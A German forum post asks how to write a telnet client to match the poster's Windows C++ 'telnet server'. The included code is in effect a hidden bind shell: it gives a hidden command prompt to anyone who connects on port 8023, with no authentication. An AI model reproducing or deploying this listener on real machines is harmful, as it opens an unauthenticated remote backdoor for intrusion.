Telnet Client



  • hallo! ich verwende folgenden telnet server:
    kann ich auf ähnliche weise einen telnet-client basteln?
    da müsste man irgendwie eine neue console erstellen können, und input/output an die weiterleiten, kann mir jemand dabei helfen?

    #include <Winsock2.h>
    
    int main( int argc, char ** argv )
    {
        WSADATA WSAData;
        SOCKADDR_IN sin;
        SOCKET sock;
        WSAStartup( MAKEWORD( 2, 0 ), &WSAData );
    
        sock = WSASocket( AF_INET, SOCK_STREAM, IPPROTO_TCP, 0, 0, 0 );
        sin.sin_family = AF_INET;
        sin.sin_addr.s_addr = htonl( INADDR_ANY );
        sin.sin_port = htons( ( u_short )8023 );
    
        bind( sock, ( SOCKADDR * )&sin, sizeof( SOCKADDR_IN ) );
        listen( sock, SOMAXCONN );
    
        while( true )
       {
            SOCKET tmp = accept( sock, 0, 0 );
            STARTUPINFO si = { 0 };
            PROCESS_INFORMATION pi = { 0 };
            char buff[ 2010 ];
    
            si.cb = sizeof( si );
            si.dwFlags = STARTF_USESTDHANDLES | STARTF_USESHOWWINDOW;
            si.wShowWindow = SW_HIDE;
            si.hStdOutput = ( HANDLE )tmp;
            si.hStdError = ( HANDLE )tmp;
            si.hStdInput = ( HANDLE )tmp;
    
            GetEnvironmentVariable( "COMSPEC", buff, 2000 );
    
            CreateProcess( buff, 0, 0, 0, true, CREATE_NEW_CONSOLE, 0, 0, &si, &pi );
    
            CloseHandle( pi.hProcess );
            CloseHandle( pi.hThread );
            closesocket( tmp );
        }
        return( 0 );
    }
    

Log in to reply